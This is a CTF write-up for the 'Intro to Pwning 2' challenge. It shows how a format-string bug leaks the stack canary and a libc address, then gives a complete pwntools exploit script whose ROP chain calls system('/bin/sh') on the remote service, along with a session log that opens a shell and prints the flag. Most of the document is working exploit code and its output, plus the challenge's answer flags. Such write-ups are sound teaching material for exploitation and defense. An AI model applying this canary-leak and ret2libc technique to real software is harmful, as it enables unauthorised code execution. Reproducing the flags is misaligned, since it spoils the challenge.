Category: Pwn
Difficulty: Baby
Author: LiveOverflow
Dependencies: Intro to Pwning 1
This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.
Service running at: hax1.allesctf.net:9101
This is the writeup for the second part of the Intro to Pwning series. This writeup depends on my writeup for Intro to Pwning 1.
The code for the second part is the same as for the first part, except that we are now a Ravenclaw and the program asks for the flag of the first part. But more important it has stack-protector enabled, this is the first mitigation I suggested.
With the preparation done in the last writeup the only thing that is needed is to leak the stack cookie and use that in the buffer-overflow.
We can again use telescope to get the right offset.
00:0000│ rsp 0x7fff7a715648 —▸ 0x55c35c3e2ce8 ◂— nop 01:0008│ rdi 0x7fff7a715650 ◂— 'AAAA%45$p BBBB%39$p' 02:0010│ 0x7fff7a715658 ◂— 'p BBBB%39$p' 03:0018│ 0x7fff7a715660 ◂— 0x7d474100702439 /* '9$p' */ 04:0020│ 0x7fff7a715668 ◂— 0x0 ... ↓ 20:0100│ 0x7fff7a715748 ◂— 0x4a00000000000000 21:0108│ 0x7fff7a715750 —▸ 0x7fff7a715860 ◂— 0x1 22:0110│ 0x7fff7a715758 ◂— 0x4a1d60d2b9051500 23:0118│ rbp 0x7fff7a715760 —▸ 0x7fff7a715780 —▸ 0x55c35c3e2de0 ◂— push r15 24:0120│ 0x7fff7a715768 —▸ 0x55c35c3e2dc5 ◂— mov eax, 0 25:0128│ 0x7fff7a715770 —▸ 0x7fff7a715868 —▸ 0x7fff7a717824 ◂— '/ctf/pwn2' 26:0130│ 0x7fff7a715778 ◂— 0x100000000 27:0138│ 0x7fff7a715780 —▸ 0x55c35c3e2de0 ◂— push r15 28:0140│ 0x7fff7a715788 —▸ 0x7f352ea90b97 (__libc_start_main+231) ◂— mov edi, eax
The stack cookie is the random looking thing (22)
We can leak it like we leak __libc_start_main+231
Our payload should be something like %45$p %39$p the first one will leak __libc_start_main+231 (0x05+0x28=45) and the second one will leak the stack cookie (0x05+0x22=39)
With minimal changes to the exploit of Intro to Pwning 1 the exploit just works.
Caution: The flag in the C code does not match the flag in the binary, use strings to get it
$ ./rop remote
[*] '/ctf/pwn2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[x] Opening connection to hax1.allesctf.net on port 9101
[x] Opening connection to hax1.allesctf.net on port 9101: Trying 147.75.85.99
[+] Opening connection to hax1.allesctf.net on port 9101: Done
[*] '/ctf/libc.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] __libc_start_main+243: 0x7efd9b95d1e3
[+] Libc base address: 0x7efd9b936000
[+] stack canary: 0x682a994c66320e00
[*] Loaded 195 cached gadgets for 'libc.so'
[*] Switching to interactive mode
~ Protego!
$ ls
flag
pwn2
ynetd
$ cat flag
CSCG{NOW_GET_VOLDEMORT}
$ exit
[*] Got EOF while reading in interactive
[*] Interrupted
#!/usr/bin/env python3 from pwn import * from huepy import * import sys import os import socket import subprocess import re vuln_host = 'hax1.allesctf.net'#'127.0.0.1' vuln_port = '9101' app_path = os.getcwd()+'/pwn2' lo = not 'remote' in sys.argv dbg = 'dbg' in sys.argv or 'debug' in sys.argv if dbg: log.setLevel(2) break_main = 'break_main' in sys.argv buffer_overflow = 'buffer_overflow' in sys.argv context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h']) def init_dbg(app_path): args = [] if break_main and not buffer_overflow: args.append('set stop-on-solib-events 1') args.append('continue') args.append('continue') args.append('break __libc_start_main') args.append('commands') args.append('break *$rdi') args.append('continue') args.append('end') args.append('continue') args.append('delete') elif buffer_overflow: args.append('set context-sections ""') args.append('define hook-stop') args.append('printf "cyclic: %p\\n", *((int *)$rsp)') args.append('python __import__("time").sleep(10000)') args.append('end') args.append('continue') else: args.append('continue') return gdb.debug(app_path, "\n".join(args)) elf = ELF(app_path) if lo: p = process(app_path) if not dbg else init_dbg(app_path) lib = "/lib/x86_64-linux-gnu/libc.so.6" else: p = remote(vuln_host,vuln_port) lib = "libc.so" libc = ELF(lib) def nop_libc(): rop = ROP(libc) rop.raw(rop.search(regs=[], order = 'regs')[0]) return rop.chain() def leak_libc_start_main(addr): code = libc.disasm(libc.symbols['__libc_start_main'],0x500) r = re.findall(r".*call.*rax.*",code) if len(r)>0: offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax')) log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak))) libc.address = leak -offset return log.error("failed to leak libc, can't calculate base address") exit(1) def shell_system(): rop = ROP(libc) rop.raw(rop.find_gadget(['pop rdi','ret'])[0]) rop.raw(next(libc.search(b'/bin/sh\x00'))) rop.call(libc.symbols['system']) log.debug("Shell chain: \n" + white(rop.dump())) return rop.chain() #PWN if lo: p.sendlineafter(":\n",r"CSCG{THIS_IS_TEST_FLAG}") else: p.sendlineafter(":\n",r"CSCG{NOW_PRACTICE_MORE}") if buffer_overflow: p.sendlineafter(":",b"A") p.sendlineafter(":",b"Expelliarmus\x00"+cyclic(4096)) #we will hit the stack protector, but the padding hasn't changed anyway p.sendlineafter(":\n",b"AAAA%45$p BBBB%39$p") p.readuntil("AAAA") leak = int(p.readuntil(" ").rstrip(),16) leak_libc_start_main(leak) log.success("Libc base address: " + green(hex(libc.address))) p.readuntil("BBBB") leak = int(p.readuntil(" ").rstrip(),16) log.success("stack canary: " + green(hex(leak))) padding = cyclic_find(0x61616e63) p.sendlineafter(":",b"Expelliarmus\x00"+b"B"*padding+p64(leak)+nop_libc()+nop_libc()+shell_system()) p.interactive()
read to prevent buffer overflowsputs or printf("%s",data)CSCG{NOW_GET_VOLDEMORT}